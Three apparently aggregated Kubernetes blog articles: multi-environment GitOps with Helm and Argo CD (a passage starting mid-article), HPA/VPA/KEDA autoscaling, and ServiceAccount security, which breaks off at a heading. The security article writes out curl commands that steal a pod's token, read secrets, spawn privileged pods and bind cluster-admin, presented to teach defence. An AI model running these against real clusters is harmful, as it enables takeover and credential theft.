The second sharp edge is conditional logic. Wrong:

# templates/deployment.yaml
spec:
{{- if eq .Values.environment "production" }}
  replicas: 3
{{- else if eq .Values.environment "staging" }}
  replicas: 2
{{- else }}
  replicas: 1
{{- end }}

Once a chart knows environment names, every new environment means editing templates, and nobody can tell what production gets without reading Go templates. Right:

# templates/deployment.yaml
spec:
{{- if not .Values.autoscaling.enabled }}
  replicas: {{ .Values.replicaCount }}
{{- end }}
  template:
    metadata:
      annotations:
        checksum/config: {{ include (print $.Template.BasePath "/configmap.yaml") . | sha256sum }}

The chart asks about capabilities (autoscaling.enabled, podDisruptionBudget.enabled), never about which environment it's in. The values files decide which capabilities each environment turns on. The checksum/config annotation solves a quieter problem: changing a ConfigMap value doesn't restart Pods on its own, so without it, a config change reaches production in Git while the Pods keep running the old config. Kustomize avoids this with configMapGenerator, which hashes the ConfigMap name.

Hostnames come from the cluster layer, not the app:

# clusters/eks-production/cluster-values.yaml
ingress:
  className: alb
  domain: payflow.io
region: ap-south-1

The chart builds checkout.payflow.io from the service name and domain, so no service file ever hardcodes a hostname. Feature flags work for a handful of on/off settings in config. Once you're toggling them per customer or rolling out gradually, move them to a feature-flag service, because a Git commit plus a rollout is a slow kill switch.

GitOps for Multi-Environment Deployments

One ApplicationSet deploys all three environments, layering the values files in order from least to most specific (later files win):

apiVersion: argoproj.io/v1alpha1
kind: ApplicationSet
metadata:
  name: checkout-api
  namespace: argocd
spec:
  goTemplate: true
  goTemplateOptions: ["missingkey=error"]
  generators:
    - list:
        elements:
          - env: dev
            cluster: eks-dev
            chartVersion: service-chart-2.5.0
            autoSync: "true"
          - env: staging
            cluster: eks-staging
            chartVersion: service-chart-2.4.1
            autoSync: "true"
          - env: production
            cluster: eks-production
            chartVersion: service-chart-2.4.1
            autoSync: "false"
  template:
    metadata:
      name: 'checkout-api-{{.env}}'
    spec:
      project: '{{.env}}'
      sources:
        - repoURL: https://github.com/payflow-eng/platform-charts.git
          targetRevision: '{{.chartVersion}}'
          path: charts/service
          helm:
            valueFiles:
              - $values/apps/checkout-api/base/values.yaml
              - $values/clusters/{{.cluster}}/cluster-values.yaml
              - $values/apps/checkout-api/envs/{{.env}}/values.yaml
        - repoURL: https://github.com/payflow-eng/platform-gitops.git
          targetRevision: main
          ref: values
      destination:
        name: '{{.cluster}}'
        namespace: checkout
      syncPolicy:
        syncOptions:
          - CreateNamespace=true
  templatePatch: |
    {{- if eq .autoSync "true" }}
    spec:
      syncPolicy:
        automated:
          prune: true
          selfHeal: true
    {{- end }}

Dev and staging sync automatically. Production shows OutOfSync after a merge and waits for someone to press Sync. The chart version is pinned per environment, so a new chart release goes through dev first, exactly like an application release.

Promotion moves an artifact, not a rebuild. CI builds checkout-api once, tags the image with an immutable version, and commits that tag to envs/dev/values.yaml. Promoting is a PR that copies the tag forward:

TAG=$(yq '.image.tag' apps/checkout-api/envs/staging/values.yaml)
yq -i ".image.tag = \"${TAG}\"" apps/checkout-api/envs/production/values.yaml
git switch -c "promote/checkout-api-${TAG}"
git commit -am "Promote checkout-api ${TAG} to production"
gh pr create \
  --title "Promote checkout-api ${TAG} to production" \
  --body "Image verified in staging. Diff limited to image.tag." \
  --reviewer payflow-eng/sre

Rollback uses the same mechanism in reverse. Revert the promotion PR, and production shows OutOfSync against the previous tag, ready to sync. There's no separate rollback procedure to forget during an incident, and the revert sits in Git history next to the change it undid.

Now for preventing accidental production deployments. CODEOWNERS with branch protection requires SRE approval for anything under apps/*/envs/production/ and clusters/eks-production/. The production AppProject only allows destinations in eks-production, so a mistyped cluster name in a dev element can't land there. A sync window blocks production syncs over the weekend:

apiVersion: argoproj.io/v1alpha1
kind: AppProject
metadata:
  name: production
  namespace: argocd
spec:
  sourceRepos:
    - https://github.com/payflow-eng/platform-charts.git
    - https://github.com/payflow-eng/platform-gitops.git
  destinations:
    - name: eks-production
      namespace: checkout
  syncWindows:
    - kind: deny
      schedule: "0 18 * * 5"
      duration: 62h
      timeZone: Asia/Kolkata
      applications: ["*"]

The sharp edge that bites layered setups is the base file. Promotion copies an image tag, but a change to base/values.yaml reaches every environment in the same merge. Someone bumps PAYMENT_TIMEOUT_MS "for dev," and production gets it on the next sync along with whatever was actually being promoted. Treat base edits as production changes: put apps/*/base/ under the same CODEOWNERS rule, and when a change needs to be staged, make it in the env files first and move it into base once every environment agrees.

Managing Secrets Across Environments

No secret values go in Git, encrypted or otherwise. The chart renders an ExternalSecret, and External Secrets Operator pulls the value from AWS Secrets Manager:

apiVersion: external-secrets.io/v1
kind: ExternalSecret
metadata:
  name: checkout-api
  namespace: checkout
spec:
  refreshInterval: 1h
  secretStoreRef:
    kind: ClusterSecretStore
    name: aws-secrets
  target:
    name: checkout-api-secrets
  dataFrom:
    - extract:
        key: checkout-api/runtime

Notice the store is called aws-secrets in every environment, and the key carries no environment prefix. Each cluster has its own ClusterSecretStore with that name, and the ESO controller in each cluster authenticates through EKS Pod Identity to a different AWS account (one per environment):

apiVersion: external-secrets.io/v1
kind: ClusterSecretStore
metadata:
  name: aws-secrets
spec:
  provider:
    aws:
      service: SecretsManager
      region: ap-south-1

That’s how the “Dev / Staging / Production secret store” rows in the table get enforced: through IAM and account boundaries, not naming. The alternative I often see is one shared account with keys like staging/checkout-api/runtime and production/checkout-api/runtime. In that setup, a one-word typo in a staging values file hands production database credentials to a staging Pod, and nothing stops it. With separate accounts, the staging cluster's role can't read production secrets, whatever the YAML says. Vault works the same way, with a separate auth role and policy path per cluster.

There’s one more sharp edge, and it shows up during the first credential rotation. ESO refreshes the Kubernetes Secret on its refreshInterval, but Pods that read the secret as environment variables keep the old value until they restart. The database rotates its password, the Secret updates, and every running checkout-api Pod keeps using a password that no longer works. Either mount secrets as files and have the application re-read them, or use a controller like Stakater Reloader (secret.reloader.stakater.com/reload: "checkout-api-secrets" on the Deployment) to roll Pods when the Secret changes. Test rotation in staging before production does it for you.

Preventing Configuration Drift and Deployment Failures

Layered values have one real weakness: reviewers read the input, but the cluster runs the output. A five-line values diff can produce a 200-line manifest change, or silently produce nothing because of a typo in a key name. So CI renders every environment on every PR and validates what comes out:

#!/usr/bin/env bash
set -euo pipefail

for env in dev staging production; do
  helm template checkout-api ./platform-charts/charts/service \
    -f apps/checkout-api/base/values.yaml \
    -f "clusters/eks-${env}/cluster-values.yaml" \
    -f "apps/checkout-api/envs/${env}/values.yaml" \
    > "rendered/${env}.yaml"

  kubeconform -strict -summary \
    -kubernetes-version 1.34.0 \
    -schema-location default \
    -schema-location 'https://raw.githubusercontent.com/datreeio/CRDs-catalog/main/{{.Group}}/{{.ResourceKind}}_{{.ResourceAPIVersion}}.json' \
    "rendered/${env}.yaml"

  kyverno apply ./policies --resource "rendered/${env}.yaml"
done

The same job renders the target branch and posts the diff of rendered manifests per environment as a PR comment. That diff is the thing reviewers should read. A shared values.schema.json in the chart catches the typo case: with additionalProperties: false, autoscalling.enabled: true fails helm template instead of being silently ignored.

Kyverno policies run twice, in CI against rendered output and at admission time in the cluster, so a kubectl apply from someone's laptop gets the same rules as a PR.

Drift detection is where Argo CD earns its place. In dev and staging, selfHeal reverts manual changes within minutes. In production, where sync is manual, drift shows up as OutOfSync, so alert on it before it becomes the new normal:

- alert: ProductionAppOutOfSync
  expr: argocd_app_info{project="production", sync_status="OutOfSync"} == 1
  for: 2h
  labels:
    severity: warning
  annotations:
    summary: "{{ $labels.name }} has been out of sync for 2h: unsynced merge or manual change in the cluster"

Multi-environment checklist

• One base values file per service; env files contain only differences
• Environments are directories, not branches
• Hostnames, domains, and regions live in cluster-level values
• Charts check capabilities (autoscaling.enabled), never environment names
• spec.replicas is omitted whenever an HPA is enabled
• Config changes trigger rollouts through a checksum annotation or configMapGenerator
• Images are built once and promoted by tag
• Chart versions are pinned per environment
• CODEOWNERS covers production env files and base files
• Production syncs manually inside allowed sync windows
• Each environment reads secrets from its own account or store
• CI renders, validates, and diffs every environment on every PR
• Production OutOfSync state alerts after a set time

Fewer files is a side effect. The real outcome is that every difference between your environments becomes a decision someone made on purpose, in a file small enough to read in ten seconds. When production breaks and staging didn’t, the investigation should start and mostly end with diff envs/staging/values.yaml envs/production/values.yaml. If that command can't explain the difference, your structure is still hiding something.

Tom Jose is a DevOps Engineer at KotaiCode, where the team helps companies get their Kubernetes and AWS infrastructure production-ready.

How to Manage Dev, Staging, and Production in Kubernetes Without Duplicating YAML was originally published in kotaicode on Medium, where people are continuing the conversation by highlighting and responding to this story.

Almost every Kubernetes cluster I review has autoscaling configured. Very few have it configured for the right signal. The pattern is nearly always the same: a Deployment, an HPA targeting 70% CPU, and an assumption that the problem is solved.

That assumption holds for a stateless API whose CPU climbs with traffic. It falls apart once the real demand lives somewhere the kubelet can’t see: a queue, a Kafka topic, a backlog of jobs. This article compares HPA, VPA, and KEDA by what each one measures, how fast it reacts, and where it breaks in production. Installation steps are left out on purpose.

Here’s the situation that makes the case better than any diagram:

$ kubectl get hpa invoice-worker -n billing
NAME             REFERENCE                   TARGETS       MINPODS   MAXPODS   REPLICAS   AGE
invoice-worker   Deployment/invoice-worker   cpu: 9%/70%   2         30        2          41d

$ aws sqs get-queue-attributes \
    --queue-url https://sqs.ap-south-1.amazonaws.com/123456789012/invoice-generation \
    --attribute-names ApproximateNumberOfMessages
{
    "Attributes": {
        "ApproximateNumberOfMessages": "38412"
    }
}

Two workers. 9% CPU. Over 38,000 invoices waiting.

The HPA is working exactly as designed. Each worker spends most of its time waiting on I/O: fetching line items from Postgres, rendering a PDF through another service, uploading to S3. None of that burns CPU. The HPA sees idle pods and concludes there’s nothing to do, while customers wait hours for their invoices.

CPU tells you how hard your pods are working. It tells you nothing about how much work is waiting for them. That gap is the central argument of this article, and it’s the reason Kubernetes ends up with three autoscalers instead of one.

Why Kubernetes Autoscaling Isn’t One-Size-Fits-All

Autoscaling answers two different questions. Horizontal scaling asks whether you need more copies of a pod. Vertical scaling asks whether each copy is sized correctly. HPA and KEDA answer the first question. VPA answers the second.

A second split matters more in practice: resource utilization versus workload demand. Utilization (CPU, memory) is an indirect signal that assumes more work produces more resource usage. For a CPU-bound API, that’s a decent proxy. For I/O-bound workers, stream consumers, and anything that spends its life waiting on a network call, the proxy breaks. Demand signals like queue depth, consumer lag, and requests per second measure the work itself.

Pick the wrong signal and you pay one of two ways. You overprovision to compensate for an autoscaler that reacts late, or you underprovision and your users absorb the latency. One shows up on the AWS bill. The other shows up in the incident channel.

Horizontal Pod Autoscaler (HPA)

HPA adjusts the replica count of a Deployment or StatefulSet. Every 15 seconds the controller computes:

desiredReplicas = ceil(currentReplicas * currentMetricValue / targetMetricValue)

For CPU, the current value is average usage divided by the pod’s CPU request. Not the limit, and not the node’s capacity. Keep that in mind, because it comes back twice later.

Here’s a production-shaped HPA for an API with explicit scaling behavior:

apiVersion: autoscaling/v2
kind: HorizontalPodAutoscaler
metadata:
  name: payment-api
  namespace: payments
spec:
  scaleTargetRef:
    apiVersion: apps/v1
    kind: Deployment
    name: payment-api
  minReplicas: 3
  maxReplicas: 40
  metrics:
    - type: Resource
      resource:
        name: cpu
        target:
          type: Utilization
          averageUtilization: 65
    - type: Pods
      pods:
        metric:
          name: http_requests_per_second
        target:
          type: AverageValue
          averageValue: "120"
  behavior:
    scaleUp:
      stabilizationWindowSeconds: 0
      policies:
        - type: Percent
          value: 100
          periodSeconds: 30
    scaleDown:
      stabilizationWindowSeconds: 300
      policies:
        - type: Pods
          value: 2
          periodSeconds: 60

With multiple metrics, HPA computes a replica count for each one and uses the highest. The http_requests_per_second metric comes from Prometheus through Prometheus Adapter, which exposes it on the custom metrics API. That second metric is what makes this HPA useful. Request rate rises before CPU does, so the API scales before latency degrades.

The behavior block is where most real HPA tuning happens. This one scales up aggressively (it can double every 30 seconds) and scales down conservatively (two pods per minute, after five minutes of sustained low load). The 300-second scale-down window is the default, but I set it explicitly so nobody reading the manifest has to guess.

The sharp edge: HPA silently does nothing without requests

$ kubectl get hpa report-api -n analytics
NAME         REFERENCE               TARGETS              MINPODS   MAXPODS   REPLICAS
report-api   Deployment/report-api   cpu: <unknown>/70%   2         20        2

If any container in the pod lacks a CPU request, HPA can’t compute utilization. It records a FailedGetResourceMetric event and holds the current replica count. No alert fires. The workload just never scales. This is the most common HPA failure I run into, and it's usually caused by a sidecar someone added without requests.

HPA has other limits worth knowing. It can’t go below one replica in a standard cluster (the HPAScaleToZero feature gate is still alpha). It acts on metrics that are often 30 to 60 seconds old. And it can't fix pods that are badly sized: scaling out ten oversized pods gives you ten times the waste.

Vertical Pod Autoscaler (VPA)

VPA changes the CPU and memory requests of your pods instead of how many there are. It has three components. The recommender watches usage history and computes targets. The updater applies changes to running pods. The admission controller sets requests on new pods as they’re created.

The update mode decides how aggressive it is. Off only produces recommendations. Initial applies them when pods are created. Recreate evicts pods to apply new values. InPlaceOrRecreate patches running pods through the resize subresource and falls back to eviction when it can't. The old Auto mode is deprecated and now behaves like Recreate. With in-place pod resize GA since Kubernetes 1.35, the restart penalty that made VPA scary is mostly gone.

I still start every VPA in Off mode. Here's one for a memory-heavy search indexer:

apiVersion: autoscaling.k8s.io/v1
kind: VerticalPodAutoscaler
metadata:
  name: search-indexer
  namespace: search
spec:
  targetRef:
    apiVersion: apps/v1
    kind: Deployment
    name: search-indexer
  updatePolicy:
    updateMode: "Off"
  resourcePolicy:
    containerPolicies:
      - containerName: indexer
        minAllowed:
          cpu: 250m
          memory: 1Gi
        maxAllowed:
          cpu: "4"
          memory: 12Gi
        controlledValues: RequestsOnly

$ kubectl get vpa search-indexer -n search
NAME             MODE   CPU    MEM         PROVIDED   AGE
search-indexer   Off    820m   5832103Ki   True       9d

The Deployment was requesting 2 CPU and 8Gi per pod. VPA recommends 820m and roughly 5.6Gi. Across 12 replicas, that’s about 14 CPU and 29Gi of reserved capacity freed up, and I got the number without touching a running pod.

The sharp edge: VPA doesn’t understand your runtime

VPA sees container memory, not what’s happening inside the process. A JVM started with -Xmx6g will never use much more than 6Gi of heap, whatever request VPA sets. Meanwhile, a runtime that grows into available memory will expand to fill a bigger request, and VPA reads that expansion as real need. If your runtime manages its own memory ceiling, tie the ceiling to the container (for the JVM, -XX:MaxRAMPercentage=75 instead of a fixed -Xmx) so VPA's changes mean something.

Disruption is the other concern. In Recreate mode, a two-replica Deployment can lose half its capacity while a pod reschedules. Pair every active VPA with a PodDisruptionBudget. InPlaceOrRecreate avoids the restart in most cases, but when the node has no room to grow the pod, it still evicts.

Vertical scaling is the better choice for workloads that can’t scale out: singletons, leader-elected controllers, stateful services, and memory-bound apps where the per-pod footprint is the actual problem.

KEDA: Event-Driven Autoscaling

KEDA scales on the work that’s waiting to be processed. It ships with scalers for SQS, Kafka, RabbitMQ, Prometheus, Redis, cron, and dozens of other sources. It also doesn’t replace HPA. When you create a ScaledObject, KEDA creates and manages an HPA for you and feeds it the external metric through its own metrics server. KEDA handles the transition between zero and one replica itself, and HPA handles everything from one to N.

Here’s the fix for the invoice worker from the opening:

apiVersion: keda.sh/v1alpha1
kind: TriggerAuthentication
metadata:
  name: aws-pod-identity
  namespace: billing
spec:
  podIdentity:
    provider: aws
---
apiVersion: keda.sh/v1alpha1
kind: ScaledObject
metadata:
  name: invoice-worker
  namespace: billing
spec:
  scaleTargetRef:
    name: invoice-worker
  minReplicaCount: 0
  maxReplicaCount: 40
  pollingInterval: 15
  cooldownPeriod: 300
  triggers:
    - type: aws-sqs-queue
      authenticationRef:
        name: aws-pod-identity
      metadata:
        queueURL: https://sqs.ap-south-1.amazonaws.com/123456789012/invoice-generation
        queueLength: "50"
        awsRegion: ap-south-1

queueLength: "50" means one replica per 50 messages. With 38,412 messages, KEDA asks for 769 replicas and the HPA caps it at 40. Once the queue drains and stays empty for the cooldown period, the Deployment scales to zero and costs nothing.

Kafka consumers work the same way, scaling on consumer group lag:

triggers:
    - type: kafka
      metadata:
        bootstrapServers: b-1.orders-msk.x7k2qp.c3.kafka.ap-south-1.amazonaws.com:9092
        consumerGroup: order-enrichment
        topic: orders.created
        lagThreshold: "500"

For work that has to run to completion, like video transcoding or report generation, use a ScaledJob. It creates a Kubernetes Job per batch of events instead of scaling a long-running Deployment. A pod that gets scaled down mid-transcode loses its work. A Job runs until it finishes.

The sharp edges

Kafka first. By default, KEDA won’t scale consumers beyond the topic’s partition count, because extra consumers in a group sit idle. If orders.created has 12 partitions, your real maximum is 12 regardless of maxReplicaCount. Partition count is a scaling decision, so make it before you need it.

SQS has two. The scaler counts in-flight messages by default (scaleOnInFlight), which keeps workers alive while they finish their current batch. That part works in your favor. The dangerous part is scale-down: a pod receives SIGTERM while it may still be holding messages. If terminationGracePeriodSeconds is shorter than your processing time, those messages reappear after the visibility timeout and get processed twice. Handle SIGTERM properly and make your workers idempotent.

Scale-to-zero also means cold starts. The first message after an idle period waits for the polling interval, pod scheduling, image pull, and application startup. For an internal batch queue, that’s fine. For anything a user is actively waiting on, keep minReplicaCount: 1.

HPA vs VPA vs KEDA: Side-by-Side Comparison

And here’s how that maps to real workloads:

Can You Combine HPA, VPA, and KEDA?

Yes, with one rule: never let two autoscalers act on the same signal.

The classic conflict is an active VPA plus an HPA on CPU. HPA calculates utilization as usage divided by request. VPA raises the request, utilization drops, and HPA scales in. Fewer pods means more load per pod, so VPA raises requests again. The two controllers chase each other until you’re running a handful of oversized pods.

Wrong:

# HPA already scales payment-api on CPU utilization,
# and this VPA rewrites CPU requests on the same pods
spec:
  targetRef:
    apiVersion: apps/v1
    kind: Deployment
    name: payment-api
  updatePolicy:
    updateMode: "InPlaceOrRecreate"
  resourcePolicy:
    containerPolicies:
      - containerName: payment-api
        controlledResources: ["cpu", "memory"]

Right:

# HPA owns replica count, VPA only recommends
spec:
  targetRef:
    apiVersion: apps/v1
    kind: Deployment
    name: payment-api
  updatePolicy:
    updateMode: "Off"

If you want VPA to act automatically, restrict it to the resource HPA doesn’t scale on, for example controlledResources: ["memory"] while HPA scales on CPU or request rate. VPA in Off mode next to HPA or KEDA is the combination I use most. Replicas follow demand, and I review the recommendations when tuning requests each month.

KEDA plus a hand-written HPA on the same Deployment is a hard no. KEDA already creates an HPA, so adding your own puts two controllers in a fight over spec.replicas. If you need CPU alongside queue depth, add a cpu trigger to the ScaledObject instead.

None of this matters if new pods have nowhere to land. Pod autoscalers create Pending pods. Cluster Autoscaler or Karpenter turns those Pending pods into nodes. Karpenter usually brings a node up in under a minute, which still means your real scale-up latency is HPA reaction plus node provisioning plus image pull. For bursty workloads, run a small buffer of low-priority placeholder pods that get preempted the moment real pods need the space.

Production Autoscaling Mistakes and Best Practices

Missing resource requests. HPA shows <unknown> and freezes, as covered earlier. Enforce requests at admission time with Kyverno or a LimitRange default so a new sidecar can't quietly break scaling.

CPU throttling. A pod with a tight CPU limit gets throttled by the CFS scheduler during bursts. Measured CPU flattens at the limit, so the HPA sees moderate utilization while p99 latency triples. For latency-sensitive services, drop CPU limits or scale on request rate or latency instead.

Scaling oscillations. Replicas bouncing between 4 and 12 every few minutes means scale-down is too eager. Use the scale-down stabilization window and a rate-limiting policy, as in the payment-api example.

Metric delays. metrics-server, the HPA sync loop, and Prometheus scrape intervals all add latency. A traffic spike can be a minute old before a single pod is requested. For predictable peaks like a 9 AM batch or a scheduled sale, scale ahead of time with a KEDA cron trigger.

Insufficient node capacity. maxReplicas: 50 means nothing if your node group tops out at six nodes. Check that Karpenter NodePool limits or your ASG maximum can fit the max replicas of every scaled workload at once.

Scaling faster than downstream services. This is the one that causes real outages. Workers with a 10-connection pool, scaled to 60 replicas, open 600 connections against a Postgres instance configured for 400. The autoscaler did its job and took the database down with it. Derive maxReplicaCount from downstream capacity, not from what the cluster can hold, and put RDS Proxy or PgBouncer in front of the database.

Production autoscaling checklist

• Every container, sidecars included, has CPU and memory requests
• HPA scale-down has an explicit stabilization window
• Queue and stream workers scale on backlog, not CPU
• No Deployment has both a KEDA ScaledObject and a hand-written HPA
• VPA runs in Off mode, or controls only resources HPA doesn't scale on
• PodDisruptionBudgets exist for every workload an active VPA can evict
• Max replicas are derived from downstream limits (database connections, third-party rate limits)
• Node autoscaler limits can fit max replicas across all scaled workloads
• Workers handle SIGTERM and process messages idempotently

A Practical Decision Framework

When I’m picking an autoscaler for a new workload, it comes down to three questions.

Need more replicas when load rises, and that load shows up in CPU or request rate? → HPA.

Need better CPU and memory sizing, or a workload that can’t scale horizontally? → VPA, starting in Off mode.

Need to scale on work waiting outside the pod, or scale to zero when there’s nothing to do? → KEDA.

Most real systems end up using two of them. The API gets HPA, the workers behind it get KEDA, and VPA quietly produces recommendations for both.

Nearly every autoscaling incident I’ve debugged traced back to a mismatch between the signal and the workload. The controllers did exactly what they were told. So before choosing between HPA, VPA, and KEDA, figure out what your users are actually waiting on. If it’s CPU cycles, HPA has you covered. If it’s a message sitting in a queue, CPU will never tell you, and the right autoscaler is the one that can see the queue.

Tom Jose is a DevOps Engineer at KotaiCode, where the team helps companies get their Kubernetes and AWS infrastructure production-ready.

HPA vs VPA vs KEDA: Choosing the Right Kubernetes Autoscaling Strategy was originally published in kotaicode on Medium, where people are continuing the conversation by highlighting and responding to this story.

A container compromise is not a cluster compromise. Not automatically. The distance between those two outcomes is determined almost entirely by what the compromised pod’s ServiceAccount is allowed to do.

Most Kubernetes clusters have at least one workload running with more permissions than it needs. Sometimes it’s a leftover from a debugging session. Sometimes it’s a ServiceAccount that was granted wildcard access because a developer needed something to work quickly and never revisited it. Either way, the result is the same: an attacker who gains code execution in that pod inherits every permission that ServiceAccount holds.

This article follows the attacker’s path from a single compromised application pod to cluster-wide access, and covers exactly what stops that path at each stage.

Why Kubernetes ServiceAccounts Are a Security Risk

Every pod in Kubernetes runs as a ServiceAccount. If you don’t specify one, the pod uses the default ServiceAccount in its namespace. The ServiceAccount's credentials are automatically mounted into the pod at /var/run/secrets/kubernetes.io/serviceaccount/token.

That token is a signed JWT. Any process running inside the pod can read it with a single command:

cat /var/run/secrets/kubernetes.io/serviceaccount/token

The token authenticates to the Kubernetes API server. What the API server then allows depends on the RBAC permissions bound to that ServiceAccount. This is the critical point: the token is not just a pod identity. It’s a key to the Kubernetes API, scoped to whatever permissions the ServiceAccount has been granted.

Kubernetes 1.22 introduced projected service account tokens with bounded lifetime and audience restrictions, which is an improvement over the old static tokens. But projected tokens are still automatically mounted into pods by default and still authenticate to the API server. The risk is in the permissions, not the token format.

How Attackers Gain Access to ServiceAccount Tokens

The most common path to token theft is not a sophisticated exploit. It’s application vulnerability.

A remote code execution vulnerability in a web application. A server-side request forgery that reads local files. A dependency with a known CVE that an attacker can reach. Any of these can give an attacker command execution inside the container, and from there the token is a single file read away.

# From inside a compromised container:
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# Test API access
curl --cacert $CACERT \
  -H "Authorization: Bearer $TOKEN" \
  https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/pods

The Kubernetes API is reachable from inside every pod via the kubernetes.default.svc DNS name. No special network access required. No firewall to bypass. The API endpoint is designed to be reachable from within the cluster.

Other token theft vectors include: misconfigured logging that captures environment variables, application code that reads and logs the token file, backup processes that snapshot the filesystem, and CI/CD pipelines that run containers with elevated permissions.

From a Compromised Pod to Kubernetes API Access

Once an attacker has the token, they have authenticated API access as that ServiceAccount. What they can do next is entirely determined by RBAC.

The attacker’s first move is reconnaissance: discover what permissions the compromised ServiceAccount has.

# List all permissions for the current ServiceAccount
kubectl auth can-i --list --namespace=production
# Or using the token directly from inside the pod:
curl --cacert $CACERT \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"production"}}' \
  https://kubernetes.default.svc/apis/authorization.k8s.io/v1/selfsubjectrulesreviews

This call returns every resource and verb the ServiceAccount can access. It’s the same call kubectl auth can-i --list makes under the hood. It's not audited as a suspicious operation by default in most clusters.

With a minimal-permission ServiceAccount, the attacker sees a short list of read-only operations. With an over-permissive one, they see a path forward.

Privilege Escalation Through Misconfigured RBAC

Certain permissions are significantly more dangerous than they appear in a YAML file.

create pods lets an attacker schedule a new pod with any ServiceAccount in the namespace, including the most privileged one:

# Attacker-controlled pod spec, submitted via the API
apiVersion: v1
kind: Pod
metadata:
  name: attacker-pod
  namespace: production
spec:
  serviceAccountName: payments-admin  # highest-privilege SA in the namespace
  containers:
    - name: shell
      image: 123456789012.dkr.ecr.ap-south-1.amazonaws.com/busybox:latest
      command: ["sleep", "infinity"]

Once this pod runs, the attacker execs into it and now has the payments-admin token. One permission (create pods) escalated to full namespace admin access.

get secrets exposes every Secret in scope. Database passwords. API keys. TLS certificates. Other ServiceAccount tokens. The attacker doesn't need to escalate to cluster-admin if the secrets give them what they need directly.

bind and escalate are the most dangerous verbs almost nobody explicitly audits. bind lets the holder create RoleBindings and ClusterRoleBindings, meaning they can grant any permission to any subject, including themselves. escalate lets the holder update Roles and ClusterRoles to add permissions. Both are paths to cluster-admin without touching any admin credential.

Wildcard access (verbs: ["*"], resources: ["*"]) is the permission that makes cluster takeover trivial. This pattern appears more than it should, usually in internal tooling ServiceAccounts or operators that were given broad access during development.

# What you should never see on a production ServiceAccount
rules:
  - apiGroups: ["*"]
    resources: ["*"]
    verbs: ["*"]

Lateral Movement and Cluster Takeover

With list pods and exec permissions, an attacker can move laterally across the namespace. With list secrets, they can harvest credentials from other workloads. With cross-namespace ClusterRoleBindings, they can reach beyond the namespace they started in.

The cluster-admin path typically looks like this:

A compromised pod has a ServiceAccount with create pods in the kube-system namespace, or the ability to bind ClusterRoles. The attacker creates a pod in kube-system mounted with the cluster-admin ServiceAccount, or creates a ClusterRoleBinding that grants cluster-admin to the compromised ServiceAccount. From that point, the attacker can read every Secret in every namespace, modify any resource, delete any workload, and add their own backdoor ServiceAccount.

# From inside a pod with 'bind' permission:
# Create a ClusterRoleBinding granting cluster-admin to the compromised SA
curl --cacert $CACERT \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -X POST \
  -d '{
    "apiVersion": "rbac.authorization.k8s.io/v1",
    "kind": "ClusterRoleBinding",
    "metadata": {"name": "attacker-admin"},
    "subjects": [{"kind": "ServiceAccount", "name": "payment-worker", "namespace": "production"}],
    "roleRef": {"kind": "ClusterRole", "name": "cluster-admin", "apiGroup": "rbac.authorization.k8s.io"}
  }' \
  https://kubernetes.default.svc/apis/rbac.authorization.k8s.io/v1/clusterrolebindings

This is why the bind verb requires the same level of scrutiny as cluster-admin itself.

Real-World Attack Scenario

A payment processing service runs in the production namespace. The application has a dependency with a known path traversal vulnerability. The ServiceAccount it runs as was given broad permissions during a debugging incident three months ago and never tightened.

The attacker sends a crafted request that exploits the path traversal to read /var/run/secrets/kubernetes.io/serviceaccount/token. With that token, they check permissions and find get secrets, create pods, and list on everything in the namespace.

They read the database Secret directly:

curl --cacert $CACERT \
  -H "Authorization: Bearer $TOKEN" \
  https://kubernetes.default.svc/api/v1/namespaces/production/secrets/postgres-credentials

They create a new pod using a privileged ServiceAccount:

# Create pod with the ops-admin ServiceAccount
curl --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" -X POST \
  -d '{"apiVersion":"v1","kind":"Pod","metadata":{"name":"ops-shell","namespace":"production"},"spec":{"serviceAccountName":"ops-admin","containers":[{"name":"shell","image":"123456789012.dkr.ecr.ap-south-1.amazonaws.com/busybox:latest","command":["sleep","infinity"]}]}}' \
  https://kubernetes.default.svc/api/v1/namespaces/production/pods

They exec into the new pod (using the escalated token from the first pod to call the exec API), and now have ops-admin permissions. From there, if ops-admin has bind or cluster-scoped access, the path to cluster-admin is open.

What stops this path: a ServiceAccount that can only read ConfigMaps in its own namespace can’t do any of this. The application gets compromised the same way, but the blast radius is the contents of those ConfigMaps, not the entire cluster.

Detecting and Preventing ServiceAccount Abuse

Disable automatic token mounting on workloads that don’t need Kubernetes API access:

apiVersion: v1
kind: ServiceAccount
metadata:
  name: payment-service
  namespace: production
automountServiceAccountToken: false

Most application workloads don’t call the Kubernetes API. They connect to databases and external services. They have no legitimate reason to have a Kubernetes API token mounted. Disabling it means there’s nothing to steal.

Create a dedicated ServiceAccount per workload:

apiVersion: v1
kind: ServiceAccount
metadata:
  name: payment-service
  namespace: production
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: payment-service
spec:
  template:
    spec:
      serviceAccountName: payment-service

Never share ServiceAccounts across workloads. A shared ServiceAccount means a compromise of any of those workloads exposes the permissions of all of them.

Apply least-privilege RBAC with namespace scope:

apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: payment-service-role
  namespace: production
rules:
  - apiGroups: [""]
    resources: ["configmaps"]
    verbs: ["get", "list"]
    resourceNames: ["payment-service-config"]

Scope to specific resourceNames where possible. A ServiceAccount that can only get one specific ConfigMap by name cannot be used to enumerate other ConfigMaps or read Secrets.

Audit current permissions regularly:

# Check what every ServiceAccount in a namespace can do
kubectl auth can-i --list --as=system:serviceaccount:production:payment-service -n production

# Install kubectl-who-can for reverse lookups
kubectl who-can get secrets -n production
kubectl who-can create pods -n production

# Find ServiceAccounts with dangerous permissions
kubectl get clusterrolebindings -o json | \
  jq '.items[] | select(.roleRef.name=="cluster-admin") | .subjects[]'

Enable and monitor Kubernetes audit logs. Suspicious patterns to alert on: selfsubjectrulesreviews calls (RBAC enumeration), unexpected get secrets calls, pod creation from non-CI namespaces, ClusterRoleBinding creation outside GitOps workflows.

Configuration Comparison

